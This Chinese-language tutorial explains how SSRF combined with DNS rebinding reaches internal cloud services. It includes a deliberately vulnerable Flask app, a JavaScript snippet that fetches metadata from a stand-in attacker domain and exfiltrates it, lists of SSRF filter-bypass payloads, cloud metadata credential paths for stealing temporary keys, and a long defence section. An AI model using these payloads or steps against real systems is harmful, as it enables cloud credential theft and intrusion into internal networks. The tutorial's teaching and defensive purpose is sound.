1. 项目概述当SSRF遇上DNS重绑定最近在复盘一些云环境下的安全测试案例一个绕不开的经典组合就是“DNS重绑定”与“SSRF”。这个组合技的威力在于它能让一个看似只能对外部发起请求的漏洞变成一把打开内网大门的钥匙。简单来说SSRFServer-Side Request Forgery服务端请求伪造让服务器能代替我们去访问网络资源而DNS重绑定则是一种“偷梁换柱”的技术能让我们控制的域名在请求的不同阶段指向不同的IP地址。当这两者结合攻击者就有可能利用一个存在SSRF漏洞的、部署在云上的公开应用去探测和攻击其所在VPC虚拟私有云内部那些本不该暴露在互联网上的服务比如数据库、对象存储、元数据服务或者内部管理后台。这绝不是纸上谈兵的理论。随着企业上云成为常态云原生应用的架构越来越复杂微服务间调用频繁一个不小心就可能留下SSRF的隐患。而云服务商提供的VPC网络隔离本意是保护内部资产但在DNS重绑定面前这道边界可能会变得模糊。理解这种攻击的原理、手法和防御策略对于云安全建设、红蓝对抗乃至漏洞挖掘都至关重要。无论你是安全工程师、开发人员还是运维搞懂这套“组合拳”都能帮你更好地审视自己系统的安全性。2. 核心原理深度拆解为什么这个组合能生效要理解攻击为何能成功我们需要分别拆解SSRF和DNS重绑定的机制再看它们如何产生化学反应。2.1 SSRF让服务器成为你的“代理”SSRF漏洞的本质是应用程序在获取用户提供的URL参数后未经充分校验和限制就直接使用服务器自身的网络权限去发起请求。想象一下你有一个天气查询功能用户输入城市名后端服务器会去调用一个公开的天气API。但如果这个“城市名”参数后端直接拼接成URL如http://api.weather.com/city?name用户输入并请求攻击者就可以将“城市名”替换成http://192.168.1.1/admin。这时服务器就会尝试从自己的内网去访问192.168.1.1的80端口。在云环境中这个“服务器自身”的网络权限非常关键。它通常位于一个VPC内部拥有访问该VPC内其他云服务实例如RDS数据库、Redis缓存、对象存储内网端点的权限。一个成功的SSRF能让攻击者以这个服务器的身份“看到”一部分内部网络拓扑。常见的SSRF触发点网页内容抓取、预览功能如分享链接时生成预览图。文件导入、数据处理功能从指定URL下载文件。Webhook测试、回调URL配置。某些API接口中用于获取远程资源的参数。2.2 DNS重绑定时间差攻击的艺术DNS重绑定攻击利用了应用程序或底层库在DNS解析行为上的一个潜在弱点DNS解析结果缓存TTL与后续实际网络连接之间的时间差。正常流程是这样的应用程序收到一个URL例如http://attacker.com/data。它需要先解析attacker.com的IP地址。它会查询DNS得到一个IP比如攻击者控制的公网IP1.2.3.4并将这个“域名-IP”的映射关系在本地缓存一段时间由DNS记录中的TTL值决定。应用程序使用解析得到的IP1.2.3.4去建立TCP连接并发送HTTP请求。DNS重绑定攻击的核心在于攻击者控制着attacker.com的DNS权威服务器。他可以配置一个极短的TTL例如0秒或1秒。攻击步骤如下第一次解析对受害者有利当存在SSRF漏洞的服务器首次解析attacker.com时攻击者的DNS服务器返回一个合法的、受攻击者控制的公网IP例如1.2.3.4。这一步是为了通过应用程序可能存在的“域名黑名单”或“IP白名单”校验。因为很多防御措施只校验第一次解析出来的IP是否在允许范围内。缓存失效与第二次解析攻击发生由于TTL极短这个解析结果几乎瞬间就过期了。紧接着当服务器或其底层网络库开始准备建立TCP连接、发送HTTP请求体之前它可能需要再次解析域名特别是当使用了某些特定的HTTP客户端库或连接复用机制复杂时。此时攻击者的DNS服务器返回一个目标内网IP例如10.0.0.1即云服务器的元数据服务地址或192.168.0.100某个内部数据库地址。连接建立服务器使用第二次解析得到的内网IP去建立连接。由于这个请求是从服务器自身位于VPC内发起的VPC的网络策略允许其访问这个内网IP因此请求成功。而攻击者通过他控制的公网服务器1.2.3.4可能已经收到了第一次请求可以用来传递攻击指令或作为中间人最终实现了对内网服务的访问。注意并非所有HTTP客户端库都容易受到这种攻击。这种攻击成功的关键在于DNS解析发生在网络连接的不同阶段且应用程序没有在建立连接前对目标IP进行二次校验。一些“懒惰”的解析策略或特定的连接池行为可能导致此问题。2.3 组合攻击的完整链条将两者结合攻击链条就清晰了发现SSRF入口找到一个可以触发服务器对外请求的参数。绕过初步过滤提供一个指向攻击者域名如evil.attacker.com的URL。该域名首次解析为合法的公网IP以通过IP黑名单/白名单校验。实施DNS重绑定配置evil.attacker.com的DNS记录TTL极短并在首次解析后立即将A记录指向目标内网IP如云元数据服务地址169.254.169.254。触发内部请求存在漏洞的服务器在处理SSRF请求时因DNS重绑定最终向内部IP发起请求。获取敏感信息或扩大攻击读取元数据中的敏感信息访问凭证、角色信息或进一步攻击内网的其他脆弱服务。3. 攻击场景与云服务特定目标在云环境下这种攻击的危害被急剧放大因为云平台内部有许多高价值且默认信任VPC内流量的服务。3.1 主要攻击场景云元数据服务窃取这是最经典、危害最大的场景。几乎所有主流云厂商AWS, Azure, GCP, 阿里云腾讯云等都为每个云服务器实例提供了一个内网的元数据服务如AWS的169.254.169.254阿里云的100.100.100.200。该服务包含实例自身的敏感信息如临时安全凭证STS Token、角色名称、用户数据等。攻击者一旦通过SSRFDNS重绑定访问到此服务就可能获得一个拥有特定权限的云服务访问密钥进而接管其他云资源。攻击VPC内部服务现代应用架构中数据库Redis, MongoDB、缓存Memcached、消息队列、配置中心、微服务API等通常只监听在内网地址。通过DNS重绑定攻击者可以逐个端口扫描这些内网IP探测服务并尝试利用未授权访问或已知漏洞进行攻击。绕过WAF或网络策略某些安全设备或策略可能基于域名或初次解析的IP进行过滤。DNS重绑定可以绕过这些基于初始值的检查将流量导向实际要攻击的目标。攻击容器化环境在Kubernetes集群中每个Pod可以访问一个内部的DNS服务。如果集群内某个Pod存在SSRF漏洞攻击者可能通过DNS重绑定访问Kubernetes API Server通常为https://kubernetes.default.svc或其他敏感服务导致容器逃逸或集群权限提升。3.2 实操中的关键点与技巧DNS服务器的配置你需要一个可以自定义DNS记录且支持极低TTL的域名。可以使用一些在线服务或者自己搭建一个权威DNS服务器如使用dnsmasq或bind9。在测试中一个简单的方法是使用sslip.io或xip.io这类泛域名解析服务但它们可能被一些安全软件识别并加入黑名单。更隐蔽的方式是使用自己注册的域名。TTL值的博弈TTL设为0是最理想的但并非所有递归DNS服务器或客户端都遵守0 TTL它们可能会强制一个最小值如1秒。实践中设置TTL1是常见做法。你需要测试目标应用环境对TTL的遵守情况。HTTP客户端的差异性这是攻击成功与否的技术关键。不同的编程语言和HTTP库对DNS解析的处理不同。易受攻击的客户端行为先解析域名得到IP1校验IP1通过后在真正发起connect()系统调用前没有再次检查当前域名对应的IP是否还是IP1。或者在HTTP长连接、连接池的场景下一个已建立的连接如果被关闭重用该连接的主机名时可能触发重新解析。测试方法搭建一个测试环境使用一个你能控制的域名先返回一个你能收到请求的IP用于验证SSRF存在和接收指令然后立即返回一个内网IP如127.0.0.1的某个端口你本地用nc监听观察请求是否发到了内网IP。盲SSRF下的利用如果SSRF是“盲”的没有回显DNS重绑定依然可能有效。你可以让域名先指向一个你控制的服务器该服务器返回一个包含特定指令的HTTP响应例如一个请求内网169.254.169.254的JavaScript代码如果服务器有渲染HTML功能。然后通过DNS重绑定让后续的请求由JavaScript发起指向内网目标。或者通过观察你控制的服务器接收到的请求时间和内网目标可能产生的侧信道差异如时间延迟、错误页面差异来判断攻击是否成功。4. 构建一个概念验证测试环境纸上得来终觉浅我们动手搭建一个简单的测试环境来直观理解整个过程。这个环境包括一个存在SSRF漏洞的Web应用、一个攻击者控制的DNS服务器、一个模拟的内网目标服务。4.1 环境组件与配置1. 存在SSRF的靶机应用我们可以用Python Flask快速写一个# ssrf_vulnerable_app.py from flask import Flask, request import requests app Flask(__name__) app.route(/fetch) def fetch_url(): url request.args.get(url) if not url: return Please provide a URL parameter., 400 # 存在漏洞的代码直接使用用户输入的URL发起请求 try: resp requests.get(url, timeout5) return fStatus: {resp.status_code}brResponse: {resp.text[:500]} # 限制回显长度 except Exception as e: return fError: {str(e)} if __name__ __main__: app.run(host0.0.0.0, port5000)这个应用运行在http://靶机IP:5000访问/fetch?urlhttp://example.com就会触发请求。2. 攻击者控制的DNS服务器简化版为了演示我们使用一个Python脚本模拟DNS服务器的行为它根据请求次数返回不同的IP。在实际攻击中你需要配置真实的DNS权威服务器。# dns_rebind_server.py (模拟逻辑) # 注意这是一个逻辑演示并非完整的DNS服务器实现。 # 真实场景可使用 dnsmasq 或修改 hosts 文件配合本地测试。 # 假设我们控制的域名是 rebind.attacker.example # 第一次查询返回攻击者公网IP 54.1.2.3 (用于接收指令) # 第二次及之后查询返回目标内网IP 169.254.169.254 (AWS元数据服务模拟) print(DNS重绑定逻辑模拟) print(1. 应用程序首次解析 rebind.attacker.example - 返回 54.1.2.3) print(2. 应用程序校验 54.1.2.3 可能通过如果是公网IP白名单) print(3. 由于TTL极短应用程序在连接前重新解析。) print(4. 第二次解析 rebind.attacker.example - 返回 169.254.169.254) print(5. 应用程序向 169.254.169.254 发起HTTP请求。)3. 模拟内网目标服务在靶机本地模拟VPC内网启动一个简单的HTTP服务监听在169.254.169.254:80需要root权限或使用netns模拟。这里我们用Python临时起一个sudo python3 -m http.server 80 --bind 169.254.169.254 # 或者在另一个终端用nc模拟 sudo nc -lvnp 80 -s 169.254.169.254这个服务模拟云元数据服务可以放置一个假令牌文件。4.2 分步攻击演示步骤一准备攻击域名注册或使用一个你能配置DNS的域名例如your-rebind-domain.com。在其DNS管理面板添加两条A记录记录1:evil.your-rebind-domain.com-你的公网VPS_IP(TTL1)记录2:evil.your-rebind-domain.com-169.254.169.254(TTL1) 但注意大多数DNS服务不允许为同一主机名直接设置两个不同的A记录。因此你需要通过DNS API动态修改记录或者使用支持“多答案”或“轮询”并允许极低TTL的DNS服务。在本地测试中更简单的方法是直接修改靶机的/etc/hosts文件来模拟DNS重绑定# 第一次请求前hosts文件内容 54.1.2.3 evil.rebind.test # 在第一次请求发出后立即修改为 169.254.169.254 evil.rebind.test步骤二探测与验证SSRF访问靶机应用http://靶机IP:5000/fetch?urlhttp://你的公网VPS_IP/test.txt在你的公网VPS上用nc -lvp 80监听80端口。如果收到来自靶机IP的HTTP请求证明SSRF存在。步骤三实施DNS重绑定攻击在公网VPS上准备一个特殊的HTTP响应。当靶机第一次请求http://evil.rebind.test/时返回一个页面其中包含一个JavaScript该JS会再次向http://evil.rebind.test/metadata发起请求或者使用img src...标签。!-- 存放在你的VPS的index.html -- script setTimeout(function() { fetch(http://evil.rebind.test/latest/meta-data/) .then(r r.text()) .then(d { /* 将数据外带 */ }) .catch(e console.error(e)); }, 100); // 短暂延迟确保DNS缓存过期 /script修改靶机/etc/hosts将evil.rebind.test指向169.254.169.254。触发SSRF访问http://靶机IP:5000/fetch?urlhttp://evil.rebind.test/。漏洞应用会先解析到你的VPS IP获取到包含JS的HTML页面。然后由于DNS重绑定我们通过hosts文件模拟JS发起的第二次请求http://evil.rebind.test/latest/meta-data/会指向内网的元数据服务。如果漏洞应用的后端如某些旧版库在渲染页面或执行后续请求时没有进行IP二次校验那么元数据就可能被JS获取到并可以通过某种方式如图片src带出外传到攻击者服务器。实操心得在实际渗透测试中我们经常使用公开的DNS重绑定服务如rbndr.us进行快速验证。你只需要将SSRF的URL指向类似http://7f000001.0a00020f.rbndr.us/的格式该域名会先解析到127.0.0.1然后很快解析到10.0.2.15观察应用的行为即可初步判断漏洞是否存在。但正式攻击中使用自定义域名更隐蔽。5. 漏洞挖掘与利用的实战技巧掌握了原理和基础演示后我们来看看在真实黑盒或灰盒测试中如何高效地挖掘和利用这类漏洞。5.1 如何寻找潜在的SSRF入口点参数枚举关注所有接受URL、域名、IP地址作为输入的功能点。常见参数名包括url,link,path,file,load,fetch,request,api,callback,return,redirect,image,proxy,upload,download等。使用Burp Suite的爬虫和主动扫描可以有效发现。功能点推理文件处理在线文档转换、图像处理、视频缩略图生成、PDF导出、Office文件预览。网络工具网站测速、链接有效性检查、RSS订阅抓取、社交媒体分享预览。集成与APIWebhook配置、第三方登录回调、支付网关回调测试、外部API调用配置。开发功能Swagger/OpenAPI接口测试、GraphQL IDE可能通过introspection查询内部服务。代码审计线索在白盒审计中重点关注使用了requests,curl,HttpClient等库的网络请求函数检查用户输入是否未经净化就直接拼接进URL或作为请求目标。5.2 绕过常见防御机制现代应用和云WAF可能会部署一些SSRF防御措施DNS重绑定本身就是一种高级绕过技术。此外还需要组合其他技巧绕过URL解析器限制使用畸形URL利用不同库的解析差异。http://foo127.0.0.1:80evil.com/(尝试将认证信息前置)http://127.0.0.1#.evil.com(利用片段标识符)http://127.0.0.1\\evil.com(反斜杠)http://localhost.:80(末尾加点)IP地址编码十进制http://2130706433/(127.0.0.1)八进制http://0177.0.0.1/(0177 127)十六进制http://0x7f.0x0.0x0.0x1/IPv6缩写http://[::1]/或http://[::ffff:127.0.0.1]/利用重定向如果应用允许访问某个可控的、可返回302重定向的URL可以借此跳转到内网地址。需要结合DNS重绑定让重定向目标域名解析到内网IP。绕过黑名单/白名单利用子域名或CIDR绕过如果黑名单只禁了169.254.169.254可以尝试169.254.169.254.nip.io或169.254.169.254.xxx.yyy.com如果该域名解析到内网IP。或者如果云厂商的元数据服务有多个别名或历史地址可以尝试枚举。利用未公开的内网域名云服务内部常有像*.internal,*.svc.cluster.local(k8s),*.compute.internal(AWS) 这样的域名它们解析到内网IP。通过DNS重绑定可以尝试让这些域名指向更敏感的内网IP。端口扫描与协议利用即使IP被禁可以尝试非HTTP协议或非标准端口。例如gopher://,dict://,file://(可能被禁用)或http://127.0.0.1:22尝试连接SSH banner。5.3 针对云元数据服务的专项攻击元数据服务是首要目标。除了直接访问根路径需要枚举所有可能的API端点。不同云厂商的路径略有不同云厂商元数据服务地址 (IPv4)常用路径示例关键信息AWS169.254.169.254/latest/meta-data//latest/user-data/latest/identity-credentials/ec2/security-credentials/角色名实例信息、用户脚本、临时凭证阿里云100.100.100.200/latest/meta-data//latest/user-data/latest/ram/security-credentials/角色名实例信息、RAM角色临时凭证腾讯云169.254.0.23/latest/meta-data//latest/user-data/latest/meta-data/cam/security-credentials/角色名实例信息、CAM角色临时凭证GCPmetadata.google.internal(通常解析到169.254.169.254)/computeMetadata/v1/需要Header:Metadata-Flavor: Google实例信息、服务账号令牌攻击步骤细化识别云环境通过响应头、错误信息或已知的IP特征判断目标运行在哪个云上。获取角色名首先访问元数据服务的凭证路径如AWS的/latest/meta-data/iam/security-credentials/它会返回当前实例关联的IAM角色名称。获取临时凭证使用获取到的角色名访问具体的凭证路径如/latest/meta-data/iam/security-credentials/角色名得到包含AccessKeyId,SecretAccessKey,Token的JSON响应。利用凭证使用这些临时凭证配置对应的云服务CLI如AWS CLI, Aliyun CLI即可在凭证有效期内通常几小时以该角色的权限操作云资源。接下来就是权限提升和横向移动的常规操作了。注意事项元数据服务通常有访问限制如仅允许从实例内部访问、需要特定的HTTP头。DNS重绑定攻击完美地满足了“从实例内部发起请求”的条件。6. 防御方案与最佳实践理解了攻击防御的思路就清晰了在SSRF的入口进行严格过滤并打破DNS重绑定的攻击条件。6.1 开发层面修复SSRF漏洞输入校验与白名单建立应用级URL白名单如果业务只需要访问少数几个固定的外部服务直接硬编码或配置白名单域名/IP拒绝任何非白名单的请求。严格的URL解析与校验使用权威的URL解析库如Python的urllib.parse Java的java.net.URI避免手动拼接。解析出URL的hostname然后进行DNS解析并验证解析得到的所有IP地址注意一个域名可能对应多个IP。对解析出的IP地址实施严格的过滤拒绝回环地址127.0.0.0/8,::1。拒绝内网私有地址10.0.0.0/8,172.16.0.0/12,192.168.0.0/16,fc00::/7。拒绝链路本地地址169.254.0.0/16,fe80::/10。拒绝云元数据服务的已知IP如169.254.169.254,100.100.100.200等。二次校验机制在发起网络连接的瞬间connect系统调用前再次对目标主机名进行DNS解析比对此次解析的IP与之前校验通过的IP是否一致。如果不一致则中止请求。这可以有效防御DNS重绑定。使用安全的网络中间件或库对于Java应用使用HttpURLConnection时注意其默认行为可能缓存DNS。考虑使用Apache HttpClient等更可控的库并配置合理的DNS缓存策略。使用提供SSRF防护功能的HTTP客户端库或中间件例如一些云厂商提供的SDK会内置对元数据地址的过滤。输出限制与错误处理不要将内部服务的原始响应直接返回给前端。只返回必要的、处理过的业务数据。统一错误处理避免将内部网络错误详情如连接超时、拒绝连接暴露给用户这可能会帮助攻击者进行端口扫描。6.2 运维与架构层面纵深防御网络层隔离强化VPC安全组/网络ACL遵循最小权限原则。即使应用服务器需要访问内网服务如数据库也应在安全组上精确配置源IP应用服务器私有IP和目标端口而不是开放整个VPC段。使用跳板机或私有端点对于关键内部服务如数据库不分配公网IP并通过VPC终端节点VPC Endpoint或堡垒机进行访问。这样即使存在SSRF也无法直接访问到这些服务的网络端点。部署网络防火墙或WAF在VPC边界或应用前端部署能识别和阻断SSRF攻击模式的防火墙规则例如检测到请求目标为内网IP或元数据地址时进行拦截。云元数据服务加固使用最新版本的元数据服务云厂商会更新其元数据服务以增强安全性例如要求使用特殊的HTTP头如GCP的Metadata-Flavor: Google或仅支持HTTPS。限制实例角色权限为EC2实例、ECS实例等分配的IAM角色或RAM角色务必遵循最小权限原则Principle of Least Privilege。避免使用管理员权限的角色。定期审计和轮换凭证。考虑禁用或限制元数据服务对于不需要元数据服务的实例有些云平台允许通过配置禁用对元数据服务的访问如AWS的IMDSv2可以设置hop limit为1并优先使用v2版本它要求会话令牌。DNS与基础设施安全配置主机DNS解析策略在服务器上可以配置/etc/hosts文件将已知的云元数据服务域名如metadata.google.internal直接绑定到127.0.0.1或一个无效地址作为最后一道防线。但这可能影响正常功能需谨慎评估。使用受信任的DNS解析器确保服务器使用内部受控的、安全的DNS服务器并配置DNS安全策略例如不解析TTL过短的记录或对解析结果进行安全检查。6.3 安全测试与监控常态化安全测试将SSRF和DNS重绑定测试纳入SAST静态应用安全测试、DAST动态应用安全测试和红蓝对抗的常规项目中。使用自动化工具如Burp Suite的Collaborator功能辅助检测带外OOB的SSRF。日志与监控告警集中收集应用日志和网络流量日志如VPC流日志。建立监控规则对服务器向已知内网IP段尤其是元数据IP或非常用端口发起的异常连接进行告警。威胁情报与漏洞管理关注云厂商发布的安全公告和漏洞信息及时更新实例的操作系统、运行库和应用依赖修复已知的SSRF相关漏洞。防御SSRF结合DNS重绑定攻击是一个系统工程需要开发、运维和安全团队协同工作。从代码编写的第一行开始就树立安全意识在架构设计时考虑网络边界在运行时加强监控和响应才能构建起有效的防御纵深。对于攻击者而言这个组合技是穿透云内网的一把利器对于防御者而言理解它则是加固自身阵地必不可少的一课。